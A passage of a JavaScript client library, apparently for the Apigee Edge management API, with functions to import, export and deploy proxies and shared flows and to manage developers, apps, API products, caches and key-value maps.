//console.log('archivename: %s', archiveName);
importAssetFromZip(conn, name, assetType, archiveName, function(e, result) {
if (e) { return cb(e, result); }
fs.unlinkSync(archiveName);
cb(null, result);
});
});
});
}
function findXmlFiles(dir, cb) {
// from within a directory, find the XML files
var xmlfiles = [];
fs.readdir(dir, function(e, items) {
if (e) return cb(e);
var i = 0;
(function next() {
var file = items[i++];
if (!file) return cb(null, xmlfiles);
file = dir + '/' + file;
fs.stat(file, function(e, stat) {
if (e) return cb(e);
if (stat && stat.isFile() && file.endsWith('.xml')) {
xmlfiles.push(file);
}
next();
});
})();
});
}
function doParseForName(conn, data, cb) {
var parser = new xml2js.Parser();
parser.parseString(data, function (e, result){
if (e) return cb(e);
if (result.SharedFlowBundle) {
if (conn.verbosity>0) {
utility.logWrite(sprintf('found name: %s', result.SharedFlowBundle.$.name));
}
return cb(null, result.SharedFlowBundle.$.name);
}
if (result.APIProxy) {
if (conn.verbosity>0) {
utility.logWrite(sprintf('found name: %s', result.APIProxy.$.name));
}
return cb(null, result.APIProxy.$.name);
}
cb(new Error('cannot determine asset name'));
});
}
function inferAssetNameFromDir(conn, dir, cb) {
findXmlFiles(dir, function(e, files){
if (e) return cb(e);
if (files.length != 1)
return cb(new Error(sprintf("found %d files, expected 1", files.length)));
fs.readFile(files[0], 'utf8', function(e, data) {
if (e) return cb(e);
doParseForName(conn, data, cb);
});
});
}
function inferAssetNameFromZip(conn, source, cb) {
// temporarily unzip the file and then scan the dir
var toplevelXmlRe = new RegExp('^apiproxy/[^/]+\\.xml$');
var zip = new AdmZip(source);
var zipEntries = zip.getEntries();
var foundit = false;
zipEntries.forEach(function(entry){
if ( ! foundit) {
if (toplevelXmlRe.test(entry.entryName)) {
let data = entry.getData();
doParseForName(conn, data.toString('utf8'), cb);
foundit = true;
}
}
});
}
/*
* convert a simple timespan string, expressed in days, hours, minutes, or
* seconds, such as 30d, 12d, 8h, 45m, 30s, into a numeric quantity in
* seconds.
*/
function resolveExpiry(subject) {
var pattern = new RegExp('^([1-9][0-9]*)([smhdw])$','i');
var multipliers = {s: 1, m: 60, h : 60*60, d:60*60*24, w: 60*60*24*7, y: 60*60*24*365};
var match = pattern.exec(subject);
if (match) {
return match[1] * multipliers[match[2]] * 1000;
}
return -1;
}
function arrayOfKeyValuePairsToHash(properties) {
var hash = {};
properties.forEach(function(item) {
hash[item.name] = item.value;
});
return hash;
}
function hashToArrayOfKeyValuePairs(hash) {
return Object.keys(hash).map(function(key){
return { name : key, value : hash[key]};
});
}
// ========================================================================================
// functions used by ApiProxy and SharedFlow
function import0(conn, options, assetType, cb) {
var source = path.resolve(options.source);
fs.stat(source, function(e, stat) {
if (e) return cb(e);
if ( ! stat) return cb({error: 'stat null'});
if (stat.isFile() && source.endsWith('.zip')) {
if (options.name) {
return importAssetFromZip(conn, options.name, assetType, source, cb);
}
return inferAssetNameFromZip(conn, source, function(e, name) {
if (e) return cb(e);
importAssetFromZip(conn, name, assetType, source, cb);
});
}
else if (stat.isDirectory()) {
if (options.name) {
return importAssetFromDir(conn, options.name, assetType, source, cb);
}
return inferAssetNameFromDir(conn, path.join(source, 'apiproxy'), function(e, name) {
if (e) return cb(e);
importAssetFromDir(conn, name, assetType, source, cb);
});
}
else {
return cb({error:'source represents neither a zip nor a directory.'});
}
});
}
function export0(conn, assetType, collectionName, options, cb) {
if (!options.name) {
return cb({error:sprintf("missing name for %s", assetType)});
}
var exportOneAssetRevision = function(requestOptions, revision) {
if ( ! revision){
return cb({error:sprintf("missing revision for %s", assetType)});
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('Export %s %s %s', assetType, options.name, revision));
}
requestOptions.url = urljoin(conn.urlBase, collectionName, options.name, 'revisions', revision) + '?format=bundle';
requestOptions.headers.accept = '*/*'; // not application/octet-stream !
requestOptions.encoding = null; // necessary to get
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], function(e, result) {
// The filename in the response is meaningless, like this:
// content-disposition: 'attachment; filename="apiproxy3668830505762375956.zip"
// Here, we create a meaningful filename, but it's just a suggestion. The caller
// is responsible for saving the buffer to the filename.
if (e) return cb(e, result);
var suggestedFilename = sprintf('%s-%s-%s-r%s-%s.zip', assetType, conn.orgname, options.name, options.revision, getDatestring());
// fs.writeFileSync(filename, result);
return cb(e, {filename:suggestedFilename, buffer:result});
}));
};
return mergeRequestOptions(conn, function(requestOptions) {
if (!options.revision) {
var collection = (assetType == 'sharedflow')? conn.org.sharedflows : conn.org.proxies;
collection.getRevisions({name:options.name}, function(e, result) {
if (e) { return cb(e, result); }
//console.log('got revisions: ' + JSON.stringify(result));
var latestRevision = result[result.length - 1];
exportOneAssetRevision(requestOptions, latestRevision);
});
}
else {
exportOneAssetRevision(requestOptions, options.revision);
}
});
}
function deployAsset0(conn, options, assetType, cb) {
// POST \
// -H content-type:application/x-www-form-urlencoded \
// "${mgmtserver}/v1/o/${org}/e/${environment}/apis/${proxyname}/revisions/${rev}/deployments" \
// -d 'override=true&delay=60'
var qparams = {
override: (options.hasOwnProperty('override')) ? options.override : true,
delay: (options.hasOwnProperty('delay')) ? options.delay : 60
};
var collection = getCollectionNameForAssetType(assetType);
if ( ! collection) {
return cb(new Error('The assetType is not supported'));
}
if (assetType == 'apiproxy') {
qparams.basepath = options.basepath || '/';
}
else if (qparams.basepath) { // just in case
throw new Error("incorrect arguments - basepath is not supported");
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('deploy %s %s r%d to env:%s',
assetType, options.name, options.revision, options.environment));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.headers['content-type'] = 'application/x-www-form-urlencoded';
requestOptions.body = qs.stringify(qparams);
requestOptions.url = urljoin(conn.urlBase,
'e', options.environment,
collection, options.name,
'revisions', options.revision,
'deployments');
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [200], cb));
});
}
function undeployAsset0(conn, options, assetType, cb){
// DELETE :mgmtserver/v1/o/:orgname/e/:envname/apis/:proxyname/revisions/:revnum/deployments
// Authorization: :edge-auth
var collection = getCollectionNameForAssetType(assetType);
var rev = options.revision.name || options.revision;
var env = options.environment.name || options.environment;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Undeploy %s %s r%d from env:%s', assetType, options.name, rev, env));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase,
'e', env,
collection, options.name,
'revisions', rev,
'deployments');
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
}
function getRevisions0(conn, assetType, collectionName, options, cb) {
// GET :mgmtserver/v1/o/:orgname/COLLECTIONNAME/:api/revisions
if (!options.name) {
return cb({error:"missing name for " + assetType});
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, collectionName, options.name, 'revisions');
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
}
function getDeployments0(conn, assetType, collectionName, options, cb) {
// GET :mgmtserver/v1/o/:orgname/COLLECTIONNAME/:api/revisions/:rev/deployments
// or
// GET :mgmtserver/v1/o/:orgname/COLLECTIONNAME/:api/deployments
if (!options.name) {
return cb({error:"missing name for " + assetType});
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = (options.revision) ?
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision, 'deployments') :
urljoin(conn.urlBase, collectionName, options.name, 'deployments');
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
}
function getResourcesForRevision0(conn, assetType, collectionName, options, cb) {
if (!options.name) {
return cb({error:"missing name for " + assetType});
}
if (!options.revision) {
return cb({error:"missing revision for " + assetType});
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision, 'resources');
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
}
function getPoliciesForRevision0(conn, assetType, collectionName, options, cb) {
// GET :mgmtserver/v1/o/:orgname/COLLECTIONNAME/:api/revisions/:REV/resources
if (!options.name) {
return cb({error:"missing name for " + assetType});
}
if (!options.revision) {
return cb({error:"missing revision for " + assetType});
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision, 'policies');
if (options.policy) {
requestOptions.url = urljoin(requestOptions.url, options.policy);
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
}
function deleteDeployableAsset0(collectionName, conn, options, cb) {
if ( ! options.name) {
return cb(new Error('The name is required'));
}
mergeRequestOptions(conn, function(requestOptions) {
if (options.revision) {
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete from %s: %s r%s ', collectionName, options.name, options.revision,
options.policy ? '('+options.policy+')': ''));
}
requestOptions.url = (options.policy) ?
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision, 'policies', options.policy) :
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision);
}
else {
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete from %s: %s', collectionName, options.name));
}
requestOptions.url = urljoin(conn.urlBase, collectionName, options.name);
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
}
function getDeployableAsset0(collectionName, conn, options, cb) {
return mergeRequestOptions(conn, function(requestOptions) {
if (options.revision) {
if ( ! options.name) {
return cb(new Error('The name is required when specifying a revision'));
}
requestOptions.url = (options.policy) ?
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision, 'policies', options.policy) :
(options.proxyendpoint) ?
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision, 'proxies', options.proxyendpoint) :
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision);
}
else {
requestOptions.url = (options.name) ?
urljoin(conn.urlBase, collectionName, options.name) :
urljoin(conn.urlBase, collectionName);
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
}
function updateDeployableAsset0(collectionName, conn, options, value, cb) {
return mergeRequestOptions(conn, function(requestOptions) {
if (options.revision) {
if ( ! options.name) {
return cb(new Error('The name is required when specifying a revision'));
}
requestOptions.url = (options.policy) ?
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision, 'policies', options.policy) :
(options.proxyendpoint) ?
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision, 'proxies', options.proxyendpoint) :
urljoin(conn.urlBase, collectionName, options.name, 'revisions', options.revision);
}
else {
requestOptions.url = (options.name) ?
urljoin(conn.urlBase, collectionName, options.name) :
urljoin(conn.urlBase, collectionName);
}
requestOptions.body = JSON.stringify(value);
requestOptions.headers['content-type'] = 'application/json';
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [200], cb));
});
}
// ========================================================================================
function AppCredential(conn) {this.conn = conn;}
AppCredential.prototype.add = function(options, cb) {
// POST /v1/o/ORGNAME/developers/EMAIL/apps/APPNAME/keys/create
// {
// "consumerKey": "<KEY>",
// "consumerSecret": "SomethingSomethingBeef"
// }
var conn = this.conn;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Add Credential %s/apps/%s',
options.developerEmail,
options.appName));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.headers['content-type'] = 'application/json';
requestOptions.url = urljoin(conn.urlBase,
sprintf('developers/%s/apps/%s/keys/create',
options.developerEmail,
options.appName));
requestOptions.body = JSON.stringify({
consumerKey : options.consumerKey,
consumerSecret : options.consumerSecret
});
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [201], cb));
});
};
AppCredential.prototype.del = function(options, cb) {
// DELETE /v1/o/ORGNAME/developers/EMAIL/apps/APPNAME/keys/CONSUMERKEY
var conn = this.conn;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete Credential %s/apps/%s/keys/%s',
options.developerEmail,
options.appName,
options.key));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase,
sprintf('developers/%s/apps/%s/keys/%s',
options.developerEmail,
options.appName,
options.key));
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
};
function Developer(conn) { this.conn = conn; }
Developer.prototype.create = function(options, cb) {
// POST :mgmtserver/v1/o/:orgname/developers
// Authorization: :edge-auth
// Content-type: application/json
//
// {
// "attributes": [ {
// "name" : "tag1",
// "value" : "whatever you like" }],
// "status": "active",
// "userName": "test-3a-HiDxfHvHrB",
// "lastName": "Martino",
// "firstName": "Dino",
// "email": "<EMAIL>"
// }
var conn = this.conn;
var email = options.developerEmail || options.email;
if ( !email || !options.firstName || !options.lastName || !options.userName) {
return cb({error: "missing required inputs, one of {email, firstName, lastName, userName}"});
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('Create Developer %s', email));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.headers['content-type'] = 'application/json';
requestOptions.url = urljoin(conn.urlBase, 'developers');
var devAttributes = hashToArrayOfKeyValuePairs(merge(options.attributes, {
"tool": "nodejs " + path.basename(process.argv[1])
}));
requestOptions.body = JSON.stringify({
attributes : devAttributes,
userName : options.userName,
firstName : options.firstName,
lastName : options.lastName,
email: email
});
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
//request.debug = true;
request.post(requestOptions, commonCallback(conn, [201], cb));
});
};
Developer.prototype.del = function(options, cb) {
// DELETE :mgmtserver/v1/o/:orgname/developers/:developer
// Authorization: :edge-auth
var conn = this.conn;
if ( !options.developerEmail) {
return cb({error: "missing developerEmail"});
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete Developer %s', options.developerEmail));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, 'developers', options.developerEmail);
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
};
Developer.prototype.get = function(options, cb) {
var conn = this.conn;
if ( ! cb) { cb = options; options = {}; }
mergeRequestOptions(conn, function(requestOptions) {
if (options.developerEmail || options.email) {
requestOptions.url = urljoin(conn.urlBase, 'developers', options.developerEmail || options.email);
}
else if (options.developerId || options.id) {
requestOptions.url = urljoin(conn.urlBase, 'developers', options.developerId || options.id);
}
else {
requestOptions.url = urljoin(conn.urlBase, 'developers');
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
function App(conn) {this.conn = conn;}
App.prototype.get = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/apps
// or
// GET :mgmtserver/v1/o/:orgname/apps/ID_OF_APP
if ( ! cb) { cb = options; options = {}; }
var conn = this.conn;
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = (options.id) ?
urljoin(conn.urlBase, 'apps', options.id) :
urljoin(conn.urlBase, 'apps') + (options.expand ? '?expand=true' : '');
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
App.prototype.del = function(options, cb) {
// DELETE :mgmtserver/v1/o/:orgname/apps/:appid
// Authorization: :edge-auth
var conn = this.conn;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete App %s', options.appId || options.id));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, 'apps', options.appId || option.id);
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
};
function DeveloperApp(conn) {this.conn = conn;}
DeveloperApp.prototype.create = function(options, cb) {
// var THIRTY_DAYS_IN_MS = 1000 * 60 * 60 * 24 * 30;
// POST :e2emgmtserver/v1/o/dchiesa2/developers/Elaine@example.org/apps
// Content-type: application/json
// Authorization: :edge-auth-e2e
//
// {
// "attributes" : [ {
// "name" : "attrname",
// "value" : "attrvalue"
// } ],
// "apiProducts": [ "Manual-Approval-1" ],
// "keyExpiresIn" : "86400000",
// "name" : "ElaineApp2"
// }
var conn = this.conn;
var email = options.developer || options.developerEmail || options.email;
var name = options.appName || options.name;
if ( !email || !name || !options.apiProduct) {
return cb({error: "missing required inputs, one of {developer, appName, apiProduct}"});
}
if (conn.verbosity>0) {
utility.logWrite(sprintf('Create App %s for %s', name, email));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.headers['content-type'] = 'application/json';
requestOptions.url = urljoin(conn.urlBase, 'developers', email, 'apps');
var DEFAULT_EXPIRY = -1;
var keyExpiresIn = DEFAULT_EXPIRY;
if (options.expiry) {
keyExpiresIn = resolveExpiry(options.expiry);
}
else {
if (conn.verbosity>0) {
utility.logWrite(sprintf('Using default expiry of %d', keyExpiresIn));
}
}
var appAttributes = hashToArrayOfKeyValuePairs(merge(options.attributes || {}, {
"tool": "nodejs " + path.basename(process.argv[1])
}));
requestOptions.body = JSON.stringify({
attributes : appAttributes,
apiProducts: [options.apiProduct],
keyExpiresIn : keyExpiresIn,
name: name
});
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
//request.debug = true;
request.post(requestOptions, commonCallback(conn, [201], cb));
});
};
DeveloperApp.prototype.del = function(options, cb) {
// DELETE :mgmtserver/v1/o/:orgname/developers/:developer/apps/:appname
// Authorization: :edge-auth
var conn = this.conn;
var name = options.appName || options.name;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete App %s for Developer %s', name, options.developerEmail));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, 'developers', options.developerEmail, 'apps', name);
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
};
DeveloperApp.prototype.get = function(options, cb) {
var conn = this.conn;
var name = options.appName || options.name;
var email = options.developerEmail || options.email;
if (!email) {
throw new Error("missing developer email");
}
// if (conn.verbosity>0) {
// if (options.appName || options.name) {
// utility.logWrite(sprintf('Get Developer App %s/apps/%s',
// options.developerEmail,
// options.appName));
// }
// else {
// utility.logWrite(sprintf('Get Developer Apps %s',
// options.developerEmail));
// }
// }
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = (options.appName || options.name) ?
urljoin(conn.urlBase, 'developers', email, 'apps') :
urljoin(conn.urlBase, 'developers', email, 'apps', name);
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
function FlowHook(conn) { this.conn = conn; }
FlowHook.prototype.get = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/e/:envname/flowhooks
// or
// GET :mgmtserver/v1/o/:orgname/e/flowhooks/:flowhook
var env = options.environment || options.env;
if ( ! env) {
return cb(new Error('missing option: environment'));
}
var conn = this.conn;
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = (options.name) ?
urljoin(conn.urlBase, 'e', env, 'flowhooks', options.name) :
urljoin(conn.urlBase, 'e', env, 'flowhooks') ;
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
FlowHook.prototype.put = function(options, cb) {
// PUT :mgmtserver/v1/o/:orgname/e/flowhooks/:flowhook
// {
// "continueOnError" : "true",
// "name" : "myFlowHook2",
// "sharedFlow" : "CDX-SharedFlow"
// }
var env = options.environment || options.env;
if ( ! env) {
return cb(new Error('missing option: environment'));
}
if ( ! options.name) {
return cb(new Error('missing option: name'));
}
if ( ! options.sharedFlow) {
return cb(new Error('missing option: sharedFlow'));
}
var conn = this.conn;
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, 'e', env, 'flowhooks', options.name);
requestOptions.headers['content-type'] = 'application/json';
requestOptions.body = JSON.stringify({
continueOnError: options.continueOnError || true,
name : 'flowhook-' + new Date().valueOf(),
sharedFlow : options.sharedFlow});
if (conn.verbosity>0) {
utility.logWrite(sprintf('PUT %s', requestOptions.url));
}
request.put(requestOptions, commonCallback(conn, [200], cb));
});
};
function ApiProduct(conn) { this.conn = conn; }
ApiProduct.prototype.create = function(options, cb) {
// POST :mgmtserver/v1/o/:orgname/apiproducts/:product
// Content-Type: application/json
// Authorization: :edge-auth
//
// {
// "name" : ":product",
// "attributes" : [ {"name": "created by", "value" : "emacs"} ],
// "approvalType" : "manual",
// "displayName" : ":product",
// "proxies" : ["proxy1", "proxy2"],
// "scopes" : ["read", "write", "something"],
// "environments" : [ "prod" ]
// }
var conn = this.conn;
if (conn.verbosity>0) {
if (options.proxy) {
utility.logWrite(sprintf('Create API Product %s with proxy %s', options.productName, options.proxy));
}
else if (options.proxies) {
utility.logWrite(sprintf('Create API Product %s with proxies %s', options.productName, JSON.stringify(options.proxies)));
} else {
utility.logWrite(sprintf('Create API Product %s with no proxy', options.productName));
}
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.headers['content-type'] = 'application/json';
requestOptions.url = urljoin(conn.urlBase, 'apiproducts');
var prodAttributes = hashToArrayOfKeyValuePairs(merge(options.attributes || {}, {
"tool": "nodejs " + path.basename(process.argv[1])
}));
var rOptions = {
name : options.productName || options.name,
proxies : [ ],
attributes : prodAttributes,
approvalType : options.approvalType || "manual",
displayName : options.displayName || options.productName || options.name,
environments : options.environments || options.envs,
scopes : options.scopes
};
if (options.proxy) {
rOptions.proxies.push(options.proxy);
}
else if (options.proxies && Array.isArray(options.proxies) ) {
rOptions.proxies = options.proxies;
}
requestOptions.body = JSON.stringify(rOptions);
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
// request.debug = true;
request.post(requestOptions, commonCallback(conn, [201], cb));
});
};
ApiProduct.prototype.get = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/apiproducts
// or
// GET :mgmtserver/v1/o/:orgname/apiproducts/NAME_OF_PRODUCT
if ( ! cb) { cb = options; options = {}; }
var conn = this.conn;
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = (options.name) ?
urljoin(conn.urlBase, 'apiproducts', options.name) :
urljoin(conn.urlBase, 'apiproducts') + (options.expand ? '?expand=true' : '');
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
ApiProduct.prototype.del = function(options, cb) {
// DELETE :mgmtserver/v1/o/:orgname/apiproducts/:apiproductname
// Authorization: :edge-auth
var conn = this.conn;
var name = options.productName || options.name;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete API Product %s', name));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, 'apiproducts', name);
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
};
function SharedFlow(conn) { this.conn = conn; }
SharedFlow.prototype.get = function(options, cb) {
var conn = this.conn;
return getDeployableAsset0('sharedflows', conn, options, cb);
};
SharedFlow.prototype.getRevisions = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/sharedflows/:sharedflow/revisions
var conn = this.conn;
return getRevisions0( conn, 'sharedflow', 'sharedflows', options, cb);
};
SharedFlow.prototype.getDeployments = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/sharedflows/:name/revisions/:revision/deployments
// or
// GET :mgmtserver/v1/o/:orgname/sharedflows/:name/deployments
var conn = this.conn;
return getDeployments0(conn, 'sharedflow', 'sharedflows', options, cb);
};
SharedFlow.prototype.getResourcesForRevision = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/sharedflows/:sf/revisions/:REV/resources
var conn = this.conn;
return getResourcesForRevision0(conn, 'sharedflow', 'sharedflows', options, cb);
};
SharedFlow.prototype.getPoliciesForRevision = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/sharedflows/:name/revisions/:revision/policies
var conn = this.conn;
return getPoliciesForRevision0(conn, 'sharedflow', 'sharedflows', options, cb);
};
SharedFlow.prototype.del = function(options, cb) {
// DELETE :mgmtserver/v1/o/:orgname/sharedflows/:name
// or
// DELETE :mgmtserver/v1/o/:orgname/sharedflows/:name/revision/:revision
var conn = this.conn;
return deleteDeployableAsset0('sharedflows', conn, options, cb);
};
SharedFlow.prototype.deploy = function(options, cb) {
var conn = this.conn;
return deployAsset0(conn, options, 'sharedflowbundle', cb);
};
SharedFlow.prototype.undeploy = function(options, cb) {
var conn = this.conn;
return undeployAsset0(conn, options, 'sharedflowbundle', cb);
};
SharedFlow.prototype.export = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/sharedflows/:name/revisions/:revision?format=bundle
var conn = this.conn;
export0(conn, 'sharedflow', 'sharedflows', options, cb);
};
SharedFlow.prototype.importFromDir = function(options, cb) {
var conn = this.conn;
var srcDir = path.resolve(options.srcDir || options.source);
if (srcDir.endsWith('/sharedflowbundle')) {
srcDir = path.resolve(path.join(srcDir, '..'));
}
// if (conn.verbosity>0) {
// utility.logWrite(sprintf('import sharedflow %s from dir %s', options.name, options.srcDir));
// }
return importAssetFromDir(conn, options.name, 'sharedflowbundle', srcDir, cb);
};
SharedFlow.prototype.importFromZip = function(options, cb) {
// curl -X POST "${mgmtserver}/v1/o/$org/sharedflows?action=import&name=$sfname" -T $zipname -H "Content-Type: application/octet-stream"
var conn = this.conn;
var source = path.resolve(options.zipArchive || options.source);
if (conn.verbosity>0) {
utility.logWrite(sprintf('import sharedflow %s from zip %s', options.name, source));
}
return importAssetFromZip(conn, options.name, 'sharedflowbundle', source, cb);
};
SharedFlow.prototype.import = function(options, cb) {
// import from either a zip or a directory.
var conn = this.conn;
return import0(conn, options, 'sharedflowbundle', cb);
};
function Cache(conn) {this.conn = conn;}
Cache.prototype.get = function(options, cb) {
var conn = this.conn;
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, 'e', options.env, 'caches');
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
Cache.prototype.create = function(options, cb) {
// POST :mgmtserver/v1/o/:orgname/e/:env/caches?name=whatev
// Authorization: :edge-auth
// Content-type: application/json
//
// { .... }
var conn = this.conn;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Create Cache %s', options.name));
}
mergeRequestOptions(conn, function(requestOptions) {
if (!options.env) {
return cb({error:"missing environment name for cache"});
}
requestOptions.url = urljoin(conn.urlBase, 'e', options.env, 'caches') + '?name=' + options.name;
requestOptions.headers['content-type'] = 'application/json';
requestOptions.body = JSON.stringify({
description: "cache for general purpose use",
distributed : true,
expirySettings: {
timeoutInSec : { value : 86400 },
valuesNull: false
},
compression: {
minimumSizeInKB: 1024
},
persistent: false,
skipCacheIfElementSizeInKBExceeds: "2048",
diskSizeInMB: 0,
overflowToDisk: false,
maxElementsOnDisk: 1,
maxElementsInMemory: 3000000,
inMemorySizeInKB: 8000
});
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [201], cb));
});
};
Cache.prototype.del = function(options, cb) {
// DELETE :mgmtserver/v1/o/:orgname/e/:env/caches/:cachename
// Authorization: :edge-auth
var conn = this.conn;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete Cache %s', options.name));
}
if (!options.env) {
return cb({error:"missing environment name for cache"});
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, 'e', options.env, 'caches', options.name);
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
};
function Kvm(conn) {this.conn = conn;}
function resolveKvmPath(conn, options) {
if (options && options.env) {
return urljoin(conn.urlBase, 'e', options.env, 'keyvaluemaps');
}
if (options && options.proxy) {
return urljoin(conn.urlBase, 'apis', options.proxy, 'keyvaluemaps');
}
return urljoin(conn.urlBase, 'keyvaluemaps');
}
function putKvm0(conn, options, cb) {
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = resolveKvmPath(conn, options);
if (conn.orgProperties['features.isCpsEnabled']) {
if (!options.key || !options.value) {
throw new Error("missing key or value");
}
requestOptions.url = urljoin(requestOptions.url, options.kvm, 'entries', options.key);
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, function(error, response, body) {
if (error) {
utility.logWrite(error);
return cb(error, body);
}
requestOptions.url = resolveKvmPath(conn, options);
requestOptions.url = urljoin(requestOptions.url, options.kvm, 'entries');
if (response.statusCode == 200) {
// Update is required if the key already exists.
if (conn.verbosity>0) {
utility.logWrite('KVM entry update');
}
requestOptions.url = urljoin(requestOptions.url, options.key);
}
else if (response.statusCode == 404) {
if (conn.verbosity>0) {
utility.logWrite('KVM entry create');
}
}
if ((response.statusCode == 200) || (response.statusCode == 404)) {
//
